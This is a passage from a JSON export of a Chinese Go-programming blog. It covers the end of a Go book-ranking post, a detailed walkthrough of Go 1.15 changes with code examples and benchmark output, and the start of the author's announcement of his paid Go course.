Lee也是Go圈子里的资深gopher，翻译质量上乘。\n下面对本书各个指数的评分：\n作者名气指数：5\n关注度指数：5\n内容实用指数：4\n经典指数：4\n总分：18\n第一名：《Go程序设计语言》 – 人手一本的Go语言“圣经” 如果说由Brian W. Kernighan和Dennis M. Ritchie联合编写的《The C Programming Language》(也称K\u0026amp;R C)是C程序员(甚至是所有程序员)心目中的“圣经”的话，\n那么同样由Brian W. Kernighan(K)参与编写的《The Go Programming Language》（也称tgpl）就是Go程序员心目中的“圣经”。\n本书模仿并致敬“The C Programming Language”的经典结构，从一个”hello, world”示例开始带领大家开启Go语言之旅。第二章程序结构是Go语言这个“游乐园”的向导图，了解它之后，我们就会迫不及待地奔向各个“景点”细致参观。Go语言规范中的所有“景点”在本书中都被覆盖到了，并且由浅入深，循序渐进：从基础数据类型到复合数据类型、从函数、方法到接口、从创新的并发goroutine到传统的基于共享变量的并发，从包、工具链到测试，从反射到低级编程(unsafe包)。作者行文十分精炼，字字珠玑，这与《The C Programming Language》的风格保持了高度的一致。书中的示例在浅显易懂的同时，又极具实用性并突出Go语言的特点（比如：并发web爬虫、并发非阻塞缓存等）。\n读完本书后，你会有一种爱不释手，马上还要从头再读一遍的感觉，也许这就是“圣经”的魅力！\n本书出版于2015年10月26日，也是既当年中旬Go 1.5这个里程碑版本发布后，Go社区的又一重大历史事件！并且Brian W. Kernighan老爷子的影响力让更多程序员加入到Go阵营，这也或多或少促成了Go成为下一个年度，即2016年年度TIOBE最佳编程语言。能得到Brian W. Kernighan老爷子青睐的编程语言只有C和Go，这也是Go的幸运。当然了如果老爷子是被Rob Pike或Ken Thompson通过私人关系邀请写书的，那就另当别论了，当然这纯属臆测，别当真^_^。\n这本书的另一名作者Alan A. A. Donovan也并非等闲之辈，他是Go核心开发团队的成员，专注于Go工具链方面的开发。\n现在唯一遗憾的是Brian W. Kernighan老爷子年事已高，不知道Go加入泛型后老爷子是否还有精力更新这本圣经。\n该书中文版由七牛团队翻译，总体质量是不错的。建议Gopher们人手购置一本圣经“供奉”起来！^_^\n下面对本书各个指数的评分：\n作者名气指数：5\n关注度指数：5\n内容实用指数：5\n经典指数：5\n总分：20\n4. 小结 Go书籍绝非“汗牛充栋”，预计Go增加泛型表达力增强后，市面上会有更多的技术书籍出炉。上面的某些经典也许还会出新版。而市面上Go书籍不多从另外一角度也可以理解成Go语言在国内还有巨大的发展空间与潜力。\n努力吧，Gopher们！\n只有写书者，才能体会到写者的艰辛！Go专栏：《改善Go语言编程质量的50个有效实践》也是我努力了一年多才打磨雕琢出来的心血之作。自从上线后，收到大家的热烈关注和好评！现在恰逢双11慕课大促，欢迎有意愿在Go这条技术路线上进阶的朋友们订阅，在学习过程中欢迎随时反馈和交流！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中！欢迎小伙伴们学习支持！双十一慕课网优惠空前！别错过机会哦！\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/04/the-recommend-books-list-for-learning-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-recommend-books-list-for-learning-go-0.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"1-go语言的发展现状\"\u003e1. Go语言的发展现状\u003c/h3\u003e\n\u003cp\u003e如果从2007年9月20日那个下午三个“程序员大佬”在\u003ca href=\"https://tonybai.com/2020/08/30/new-case-studies-about-googles-use-of-go/\"\u003e谷歌总部\u003c/a\u003e的一间办公室里进行的一次有关设计一门新编程语言的讨论算起，那么Go语言已经度过了自己的\u003ca href=\"https://tonybai.com/2020/05/01/rob-pike-interview-go-become-the-language-of-cloud-infrastructure/\"\u003e13个年头\u003c/a\u003e了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-recommend-books-list-for-learning-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eRobert Griesemer、Rob Pike和Ken Thompson\u003c/p\u003e\n\u003cp\u003e如果从2009年11月10日Go语言\u003ca href=\"https://opensource.googleblog.com/2009/11/hey-ho-lets-go.html\"\u003e正式开源发布\u003c/a\u003e算起，Go语言也即将迎来自己的\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003e第11个生日\u003c/a\u003e。\u003c/p\u003e","title":"系统学习Go语言，有这几本书就够了！"},{"content":"\nGo 1.15版本在8月12日就正式发布了，给我的感觉就是发布的挺痛快^_^。这种感觉来自与之前版本发布时间的对比：Go 1.13版本发布于当年的9月4日，更早的Go 1.11版本发布于当年的8月25日。\n不过这个时间恰与我家二宝出生和老婆月子时期有重叠，每天照顾孩子团团转的我实在抽不出时间研究Go 1.15的变化:(。如今，我逐渐从照顾二宝的工作中脱离出来^_^，于是“Go x.xx版本值得关注的几个变化”系列将继续下去。关注Go语言的演变对掌握和精通Go语言大有裨益，凡是致力于成为一名高级Gopher的读者都应该密切关注Go的演进。\n截至写稿时，Go 1.15最新版是Go 1.15.2。Go 1.15一如既往的遵循Go1兼容性承诺。语言规范方面没有任何变化。可以说这是一个“面子”上变化较小的一个版本，但“里子”的变化还是不少的，在本文中我就和各位读者一起就重要变化逐一了解一下。\n一. 平台移植性 Go 1.15版本不再对darwin/386和darwin/arm两个32位平台提供支持了。Go 1.15及以后版本仅对darwin/amd64和darwin/arm64版本提供支持。并且不再对macOS 10.12版本之前的版本提供支持。\nGo 1.14版本中，Go编译器在被传入-race和-msan的情况下，默认会执行**-d=checkptr**，即对unsafe.Pointer的使用进行合法性检查。-d=checkptr主要检查两项内容：\n当将unsafe.Pointer转型为*T时，T的内存对齐系数不能高于原地址的；\n做完指针算术后，转换后的unsafe.Pointer仍应指向原先Go堆对象\n但在Go 1.14中，这个检查并不适用于Windows操作系统。Go 1.15中增加了对windows系统的支持。\n对于RISC-V架构，Go社区展现出十分积极的姿态，早在Go 1.11版本，Go就为RISC-V cpu架构预留了GOARCH值：riscv和riscv64。Go 1.14版本则为64bit RISC-V提供了在linux上的实验性支持(GOOS=linux, GOARCH=riscv64)。在Go 1.15版本中，Go在GOOS=linux, GOARCH=riscv64的环境下的稳定性和性能得到持续提升，并且已经可以支持goroutine异步抢占式调度了。\n二. 工具链 1. GOPROXY新增以管道符为分隔符的代理列表值 在Go 1.13版本中，GOPROXY支持设置为多个proxy的列表，多个proxy之间采用逗号分隔。Go工具链会按顺序尝试列表中的proxy以获取依赖包数据，但是当有proxy server服务不可达或者是返回的http状态码不是404也不是410时，go会终止数据获取。但是当列表中的proxy server返回其他错误时，Go命令不会向GOPROXY列表中的下一个值所代表的的proxy server发起请求，这种行为模式没能让所有gopher满意，很多Gopher认为Go工具链应该向后面的proxy server请求，直到所有proxy server都返回失败。Go 1.15版本满足了Go社区的需求，新增以管道符“|”为分隔符的代理列表值。如果GOPROXY配置的proxy server列表值以管道符分隔，则无论某个proxy server返回什么错误码，Go命令都会向列表中的下一个proxy server发起新的尝试请求。\n注：Go 1.15版本中GOPROXY环境变量的默认值依旧为https://proxy.golang.org,direct。\n2. module cache的存储路径可设置 Go module机制自打在Go 1.11版本中以试验特性的方式引入时就将module的本地缓存默认放在了**\\$GOPATH/pkg/mod下（如果没有显式设置GOPATH，那么默认值将是~/go**；如果GOPATH下面配置了多个路径，那么选择第一个路径），一直到Go 1.14版本，这个位置都是无法配置的。\nGo module的引入为去除GOPATH提供了前提，于是module cache的位置也要尽量与GOPATH“脱钩”：Go 1.15提供了GOMODCACHE环境变量用于自定义module cache的存放位置。如果没有显式设置GOMODCACHE，那么module cache的默认存储路径依然是**\\$GOPATH/pkg/mod**。\n三. 运行时、编译器和链接器 1. panic展现形式变化 在Go 1.15之前，如果传给panic的值是bool, complex64, complex128, float32, float64, int, int8, int16, int32, int64, string, uint, uint8, uint16, uint32, uint64, uintptr等原生类型的值，那么panic在触发时会输出具体的值，比如：\n// go1.15-examples/runtime/panic.go package main func foo() { var i uint32 = 17 panic(i) } func main() { foo() } 使用Go 1.14运行上述代码，得到如下结果：\n$go run panic.go panic: 17 goroutine 1 [running]: main.foo(...) /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:5 main.main() /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:9 +0x39 exit status 2 Go 1.15版本亦是如此。但是对于派生于上述原生类型的自定义类型而言，Go 1.14只是输出变量地址：\n// go1.15-examples/runtime/panic.go package main type myint uint32 func bar() { var i myint = 27 panic(i) } func main() { bar() } 使用Go 1.14运行上述代码：\n$go run panic.go panic: (main.myint) (0x105fca0,0xc00008e000) goroutine 1 [running]: main.bar(...) /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:12 main.main() /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:17 +0x39 exit status 2 Go 1.15针对此情况作了展示优化，即便是派生于这些原生类型的自定义类型变量，panic也可以输出其值。使用Go 1.15运行上述代码的结果如下：\n$go run panic.go panic: main.myint(27) goroutine 1 [running]: main.bar(...) /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:12 main.main() /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.15-examples/runtime/panic.go:17 +0x39 exit status 2 2. 将小整数([0,255])转换为interface类型值时将不会额外分配内存 Go 1.15在runtime/iface.go中做了一些优化改动：增加一个名为staticuint64s的数组，预先为[0,255]这256个数分配了内存。然后在convT16、convT32等运行时转换函数中判断要转换的整型值是否小于256(len(staticuint64s))，如果小于，则返回staticuint64s数组中对应的值的地址；否则调用mallocgc分配新内存。\n$GOROOT/src/runtime/iface.go // staticuint64s is used to avoid allocating in convTx for small integer values. var staticuint64s = [...]uint64{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, ... ... 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, } func convT16(val uint16) (x unsafe.Pointer) { if val \u0026lt; uint16(len(staticuint64s)) { x = unsafe.Pointer(\u0026amp;staticuint64s[val]) if sys.BigEndian { x = add(x, 6) } } else { x = mallocgc(2, uint16Type, false) *(*uint16)(x) = val } return } func convT32(val uint32) (x unsafe.Pointer) { if val \u0026lt; uint32(len(staticuint64s)) { x = unsafe.Pointer(\u0026amp;staticuint64s[val]) if sys.BigEndian { x = add(x, 4) } } else { x = mallocgc(4, uint32Type, false) *(*uint32)(x) = val } return } 我们可以用下面例子来验证一下：\n// go1.15-examples/runtime/tinyint2interface.go package main import ( \u0026quot;math/rand\u0026quot; ) func convertSmallInteger() interface{} { i := rand.Intn(256) var j interface{} = i return j } func main() { for i := 0; i \u0026lt; 100000000; i++ { convertSmallInteger() } } 我们分别用go 1.14和go 1.15.2编译这个源文件（注意关闭内联等优化，否则很可能看不出效果）：\n// go 1.14 go build -gcflags=\u0026quot;-N -l\u0026quot; -o tinyint2interface-go14 tinyint2interface.go // go 1.15.2 go build -gcflags=\u0026quot;-N -l\u0026quot; -o tinyint2interface-go15 tinyint2interface.go 我们使用下面命令输出程序执行时每次GC的信息：\n$env GODEBUG=gctrace=1 ./tinyint2interface-go14 gc 1 @0.025s 0%: 0.009+0.18+0.021 ms clock, 0.079+0.079/0/0.20+0.17 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 2 @0.047s 0%: 0.003+0.14+0.013 ms clock, 0.031+0.099/0.064/0.037+0.10 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 3 @0.064s 0%: 0.008+0.20+0.016 ms clock, 0.071+0.071/0.018/0.081+0.13 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 4 @0.081s 0%: 0.005+0.14+0.013 ms clock, 0.047+0.059/0.023/0.032+0.10 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 5 @0.098s 0%: 0.005+0.10+0.017 ms clock, 0.042+0.073/0.027/0.080+0.13 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P ... ... gc 192 @3.264s 0%: 0.003+0.11+0.013 ms clock, 0.024+0.060/0.005/0.035+0.11 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 193 @3.281s 0%: 0.005+0.13+0.032 ms clock, 0.042+0.075/0.041/0.050+0.25 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 194 @3.298s 0%: 0.004+0.12+0.013 ms clock, 0.033+0.072/0.030/0.033+0.10 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P gc 195 @3.315s 0%: 0.003+0.17+0.023 ms clock, 0.029+0.062/0.055/0.024+0.18 ms cpu, 4-\u0026gt;4-\u0026gt;0 MB, 5 MB goal, 8 P $env GODEBUG=gctrace=1 ./tinyint2interface-go15 我们看到和go 1.14编译的程序不断分配内存，不断导致GC相比，go1.15.2没有输出GC信息，间接证实了小整数转interface变量值时不会触发内存分配。\n3. 加入更现代化的链接器(linker) 一个新版的现代化linker正在逐渐加入到Go中，Go 1.15是新版linker的起点。后续若干版本，linker优化会逐步加入进来。在Go 1.15中，对于大型项目，新链接器的性能要提高20%，内存占用减少30%。\n4. objdump支持输出GNU汇编语法 go 1.15为objdump工具增加了-gnu选项，以在Go汇编的后面，辅助输出GNU汇编，便于对照：\n// go 1.14： $go tool objdump -S tinyint2interface-go15|more TEXT go.buildid(SB) 0x1001000 ff20 JMP 0(AX) 0x1001002 476f OUTSD DS:0(SI), DX 0x1001004 206275 ANDB AH, 0x75(DX) 0x1001007 696c642049443a20 IMULL $0x203a4449, 0x20(SP), BP ... ... //go 1.15.2： $go tool objdump -S -gnu tinyint2interface-go15|more TEXT go.buildid(SB) 0x1001000 ff20 JMP 0(AX) // jmpq *(%rax) 0x1001002 476f OUTSD DS:0(SI), DX // rex.RXB outsl %ds:(%rsi),(%dx) 0x1001004 206275 ANDB AH, 0x75(DX) // and %ah,0x75(%rdx) 0x1001007 696c642049443a20 IMULL $0x203a4449, 0x20(SP), BP // imul $0x203a4449,0x20(%rsp,%riz,2),%ebp ... ... 四. 标准库 和以往发布的版本一样，标准库有大量小改动，这里挑出几个笔者感兴趣的和大家一起看一下。\n1. 增加tzdata包 Go time包中很多方法依赖时区数据，但不是所有平台上都自带时区数据。Go time包会以下面顺序搜寻时区数据：\n- ZONEINFO环境变量指示的路径中 - 在类Unix系统中一些常见的存放时区数据的路径（zoneinfo_unix.go中的zoneSources数组变量中存放这些常见路径）： \u0026quot;/usr/share/zoneinfo/\u0026quot;, \u0026quot;/usr/share/lib/zoneinfo/\u0026quot;, \u0026quot;/usr/lib/locale/TZ/\u0026quot; - 如果平台没有，则尝试使用$GOROOT/lib/time/zoneinfo.zip这个随着go发布包一起发布的时区数据。但在应用部署的环境中，很大可能不会进行go安装。 如果go应用找不到时区数据，那么go应用运行将会受到影响，就如下面这个例子：\n// go1.15-examples/stdlib/tzdata.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { loc, err := time.LoadLocation(\u0026quot;America/New_York\u0026quot;) if err != nil { fmt.Println(\u0026quot;LoadLocation error:\u0026quot;, err) return } fmt.Println(\u0026quot;LoadLocation is:\u0026quot;, loc) } 我们移除系统的时区数据(比如将/usr/share/zoneinfo改名)和Go安装包自带的zoneinfo.zip(改个名)后，在Go 1.15.2下运行该示例：\n$ go run tzdata.go LoadLocation error: unknown time zone America/New_York 为此，Go 1.15提供了一个将时区数据嵌入到Go应用二进制文件中的方法：导入time/tzdata包：\n// go1.15-examples/stdlib/tzdata.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; _ \u0026quot;time/tzdata\u0026quot; ) func main() { loc, err := time.LoadLocation(\u0026quot;America/New_York\u0026quot;) if err != nil { fmt.Println(\u0026quot;LoadLocation error:\u0026quot;, err) return } fmt.Println(\u0026quot;LoadLocation is:\u0026quot;, loc) } 我们再用go 1.15.2运行一下上述导入tzdata包的例子：\n$go run testtimezone.go LoadLocation is: America/New_York 不过由于附带tzdata数据，应用二进制文件的size会增大大约800k，下面是在ubuntu下的实测值：\n-rwxr-xr-x 1 root root 2.0M Oct 11 02:42 tzdata-withouttzdata* -rwxr-xr-x 1 root root 2.8M Oct 11 02:42 tzdata-withtzdata* 2. 增加json解码限制 json包是日常使用最多的go标准库包之一，在Go 1.15中，go按照json规范的要求，为json的解码增加了一层限制：\n// json规范要求 //https://tools.ietf.org/html/rfc7159#section-9 A JSON parser transforms a JSON text into another representation. A JSON parser MUST accept all texts that conform to the JSON grammar. A JSON parser MAY accept non-JSON forms or extensions. An implementation may set limits on the size of texts that it accepts. An implementation may set limits on the maximum depth of nesting. An implementation may set limits on the range and precision of numbers. An implementation may set limits on the length and character contents of strings. 这个限制就是增加了一个对json文本最大缩进深度值：\n// $GOROOT/src/encoding/json/scanner.go // This limits the max nesting depth to prevent stack overflow. // This is permitted by https://tools.ietf.org/html/rfc7159#section-9 const maxNestingDepth = 10000 如果一旦传入的json文本数据缩进深度超过maxNestingDepth，那json包就会panic。当然，绝大多数情况下，我们是碰不到缩进10000层的超大json文本的。因此，该limit对于99.9999%的gopher都没啥影响。\n3. reflect包 Go 1.15版本之前reflect包存在一处行为不一致的问题，我们看下面例子(例子来源于https://play.golang.org/p/Jnga2_6Rmdf)：\n// go1.15-examples/stdlib/reflect.go package main import \u0026quot;reflect\u0026quot; type u struct{} func (u) M() { println(\u0026quot;M\u0026quot;) } type t struct { u u2 u } func call(v reflect.Value) { defer func() { if err := recover(); err != nil { println(err.(string)) } }() v.Method(0).Call(nil) } func main() { v := reflect.ValueOf(t{}) // v := t{} call(v) // v.M() call(v.Field(0)) // v.u.M() call(v.Field(1)) // v.u2.M() } 我们使用Go 1.14版本运行该示例：\n$go run reflect.go M M reflect: reflect.flag.mustBeExported using value obtained using unexported field 我们看到同为类型t中的非导出字段(field)的u和u2(u是以嵌入类型方式称为类型t的字段的)，通过reflect包可以调用字段u的导出方法(如输出中的第二行的M)，却无法调用非导出字段u2的导出方法（如输出中的第三行的panic信息）。\n这种不一致在Go 1.15版本中被修复，我们使用Go 1.15.2运行上述示例：\n$go run reflect.go M reflect: reflect.Value.Call using value obtained using unexported field reflect: reflect.Value.Call using value obtained using unexported field 我们看到reflect无法调用非导出字段u和u2的导出方法了。但是reflect依然可以通过提升到类型t的方法来间接使用u的导出方法，正如运行结果中的第一行输出。\n这一改动可能会影响到遗留代码中使用reflect调用以类型嵌入形式存在的非导出字段方法的代码，如果你的代码中存在这样的问题，可以直接通过提升(promote)到包裹类型(如例子中的t)中的方法（如例子中的call(v)）来替代之前的方式。\n五. 小结 由于Go 1.15删除了一些GC元数据和一些无用的类型元数据，Go 1.15编译出的二进制文件size会减少5%左右。我用一个中等规模的go项目实测了一下：\n-rwxr-xr-x 1 tonybai staff 23M 10 10 16:54 yunxind* -rwxr-xr-x 1 tonybai staff 24M 9 30 11:20 yunxind-go14* 二进制文件size的确有变小，大约4%-5%。\n如果你还没有升级到Go 1.15，那么现在正是时候。\n本文中涉及的代码可以在这里下载。https://github.com/bigwhite/experiments/tree/master/go1.15-examples\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/10/11/some-changes-in-go-1-15/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1.15-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tip.golang.org/doc/go1.15\"\u003eGo 1.15版本\u003c/a\u003e在8月12日就正式发布了，给我的感觉就是发布的挺痛快^_^。这种感觉来自与之前版本发布时间的对比：\u003ca href=\"https://tonybai.com/2019/10/27/some-changes-in-go-1-13/\"\u003eGo 1.13版本\u003c/a\u003e发布于当年的9月4日，更早的\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11版本\u003c/a\u003e发布于当年的8月25日。\u003c/p\u003e","title":"Go 1.15中值得关注的几个变化"},{"content":"断断续续写了一年多的Go专栏：《改善Go语言编程质量的50个有效实践》今天终于正式上线了！- https://www.imooc.com/read/87\n慕课专栏：《改善Go语言编程质量的50个有效实践》\nGo语言是Google大牛团队(Robert Griesemer、Rob Pike以及Ken Thompson)设计的一种静态类型、编译型编程语言，支持垃圾回收和轻量级并发，它于2009年11月诞生，一面世就以语法简单、原生支持并发、标准库强大、工具链丰富等优点吸引了大量开发者。经过10余年演化和发展，Go如今已成为云基础架构的标准编程语言，很多云原生时代的杀手级平台、中间件、协议和应用都是采用Go语言开发的，比如：Docker、Kubernetes、以太坊、Hyperledger Fabric超级账本、新一代互联网基础设施协议ipfs等。\nGo是一门特别容易入门的编程语言，无论是刚出校门的新手还是从其他编程语言转过来的成手，都可以在短时间内快速掌握Go语法并投入到Go代码的编写中。但笔者在日常收到很多Go初学者的疑问：Go入门容易，但进阶难，怎么才能像Go团队那样写出符合Go思维和语言惯例(idiomatic)的高质量代码呢？\n这个问题也引发了我的思考。在2017年GopherChina大会上笔者以演讲的形式初次尝试回答这个问题，但鉴于演讲的时长有限，很多内容难于展开，效果不甚理想。而这个慕课网专栏则是我对解答这个问题作出的第二次尝试。\n这次解答的思路有两个：\n思维层面：写出高质量Go代码的前提是思维方式的进阶，即使用Go语言的思维去写Go代码； 实践技巧层面：Go标准库、优秀Go开源库是一个挖倔高质量、符合Go惯用法的Go代码的宝库，对其进行阅读、挖掘和整理归纳，我们可以得到一些帮助我们快速进阶的有效实践。 本专栏正是基于上面思路为想实现Go进阶但又不知从何入手的你而设的。\n首届图灵奖得主、著名计算机科学家艾伦·佩利(Alan J. Perlis)曾经说过：“不能影响到你的编程思维方式的编程语言不值得去学习和使用”，足见编程思维对编程语言学习和应用的重要性。只有真正领悟了一门编程语言的设计哲学和编程思维，并将其应用到日常编程当中去，你才算是真正地实现了在这门编程语言上的进阶。\n因此，本专栏首先将带领大家回顾Go语言的演化历史，一起了解并深刻体会Go大牛们在设计Go语言时的所思所想，与大牛们实现思维上的共鸣，理清那些看似随意的，实则经过深思熟虑的设计的背后的付出。\n接下来，本专栏将基于笔者对Go核心团队、Go社区高质量代码的分析归纳，从代码风格、基础语法、函数/方法、接口、并发、错误处理、测试调试、标准库、工程实践等多个方面给出改善Go代码质量，写出符合Go思维和惯例的代码的有效实践。\n学习了本专栏的这50条有效实践，你将拥有和Go大牛们一样Go编程思维，写出符合Go惯例风格的高质量Go代码，从众多Go入门选手中脱颖而出，快速实现从Go编程新手到专家的转变！\n本专栏共分10个模块(篇)，50个小节。\n模块1：设计哲学篇 本专栏的开篇和总起。和读者一起穿越时空，回顾历史，详细了解Go语言的诞生、演化以及今天的发展。归纳总结Go语言的设计哲学和原生编程思维，让读者可以站在语言设计者的高度理解Go语言与众不同的设计，在更高层次，形成共鸣，产生认同。只有强烈认同，才能更上一层楼。\n模块2：代码风格篇 每种编程语言都有自己惯用的代码风格，而遵循语言惯用风格是高质量Go代码的必要条件。本篇详细介绍了得到公认且广泛使用的Go工程的结构布局、代码风格标准、标识符命名惯例以及变量声明形式等。\n模块3：基础语法篇 本模块详述在基础语法层面高质量Go代码的惯用法和有效实践，涵盖无类型常量的作用、定义Go的“枚举常量”、“零值可用”类型的意义、切片原理以及其高效的原因、Go包导入路径的真正含义等。\n模块4：函数与方法篇 函数和方法是Go程序的基本组成单元。本模块聚焦于函数与方法的设计与实现，涵盖init函数的使用、跻身“一等公民”行列的函数有何不同、Go方法的本质等帮助读者深入理解它们的内容。\n模块5：接口篇 接口是Go语言中的“魔法师”。本模块将聚焦接口，涵盖接口的设计惯例、使用接口类型的注意事项以及接口类型对代码可测试性的影响等。\n模块6：并发编程篇 Go以其轻量级的并发模型而闻名。本模块将详细介绍Go基本执行单元 – goroutine的调度原理、Go并发模型以及常见并发模式、Go支持并发的原生类型-channel的惯用使用模式等内容。\n模块7：错误处理篇 Go语言十分重视错误处理，它有着相对保守的设计和显式处理错误的惯例。本模块将涵盖Go错误处理的哲学以及在这套哲学下一些常见错误处理问题的优秀实践方案。\n模块8：测试与调试篇 Go自带强大且为人所称道的工具链，本模块将详细介绍Go在单元测试、性能测试以及代码调试方面的最佳实践方案。\n模块9：标准库篇 Go拥有功能强大且质量上乘的标准库，多数情况我们仅使用标准库所提供的功能而不借助第三方库就可实现应用的大部分功能，这大幅降低学习成本以及代码依赖的管理成本。本模块将详细说明高频使用的标准库包，如net/http、strings、bytes、time等的正确使用方式，以及reflect包、cgo在使用时的注意事项。\n模块10：工程实践篇 本模块将涵盖我们使用Go语言做软件项目过程中很大可能会遇到的一些工程问题的解决方法，包括：使用module进行Go包依赖管理、Go应用容器镜像、Go相关工具使用以及Go语言的避“坑”指南。\n从上述专栏结构，我们也能看出本专栏并不是Go入门的最佳选择。如果非要给本专栏划定一个目标人群，或者说哪些读者阅读本专栏后会更多受益，我觉得是那些已经迈入Go语言世界、但迫切希望进一步提升层次、写出高质量Go代码的Go开发者。\n很多朋友可能会问？你这个专栏有何与众不同之处？在专栏上线前编辑老师也让我编写课程亮点，我觉得下面这几句话可以概括专栏的特点：\n进阶必备 – 50个有效实践助你掌握高效Go程序设计之道； 高屋建瓴 – Go设计哲学与编程思想先行； 深入浅出 – 原理深入，例子简明，讲解透彻； 图文并茂 – 大量图表辅助学习，重点难点轻松掌控； 覆盖全面 – 覆盖高级面试知识点，求职更自信。 本专栏第一次落笔大约在Go 1.12发布后，大约将在今年10月份，即在Go 1.15发布后的第二个月完成。这中间有一定的跨度，因此专栏内的有些内容在各个Go版本间可能会有差异。笔者在内容中已经尽量做了版本适用标识，但难免有疏漏。各位读者在遇到问题时，可以及时反馈给我。\n此外，Go语言还在飞速发展，一些当前的惯用表达方式或有效实践可能在日后因语言引入新的特性(比如：Go泛型)而**“过时”**。我会在我的博客上持续关注Go语言的演化，并将最新的Go高效编程实践分享给大家。\n最后再来一次自我介绍：Tony Bai，Go语言技术专家和鼓吹者，GopherChina大会讲师，Go语言技术博客tonybai.com的作者，GopherDaily(Go日报)项目(github.com/bigwhite/gopherdaily)维护者，OSCHINA源创会技术讲师，《七周七语言》译者之一，慕课网《Kubernetes实战：高可用集群搭建、配置、运维与应用》作者，开源拥趸。\n作为一名在国内接触Go语言较早(2012年)的Gopher和Go布道师，Tony Bai拥有丰富的Go开发知识和经验。他在个人博客上撰写了大量关于Go语言的文章，并深受Go社区欢迎。目前他正在国内一大型软件公司带领团队使用Go语言构建移动运营商的5G消息平台，这个平台将处理来自全国各地几十万个5G chatbot程序每天发送的几十亿条5G消息请求。\n欢迎大家订阅我的专栏! 如有意见和建议，可在我本博文后面的评论中反馈。感谢大家支持。\n专栏涉及的源码仓库地址：https://github.com/bigwhite/publication/tree/master/column/imooc/go-50tips/sources\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – 